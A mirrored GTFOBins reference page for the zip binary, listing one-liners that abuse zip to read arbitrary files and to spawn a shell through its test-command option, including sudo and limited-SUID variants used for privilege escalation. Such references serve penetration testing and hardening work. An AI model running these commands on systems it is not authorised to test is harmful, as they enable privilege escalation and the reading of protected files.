This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2025-12-28 19:21:41 +01:00
Code
Issues
08dfd05aee
GTFOBins.github.io
/
_gtfobins
/
zip.md
Andrea Cardaci
5255ea1846
Cleanup
2021-04-17 21:03:54 +02:00
473 B
Raw
Blame
History
functions
file-read
shell
sudo
limited-suid
code
LFILE=file-to-read TF=$(mktemp -u) zip $TF $LFILE unzip -p $TF
code
TF=$(mktemp -u) zip $TF /etc/hosts -T -TT 'sh #' rm $TF
code
TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF
code
TF=$(mktemp -u) ./zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF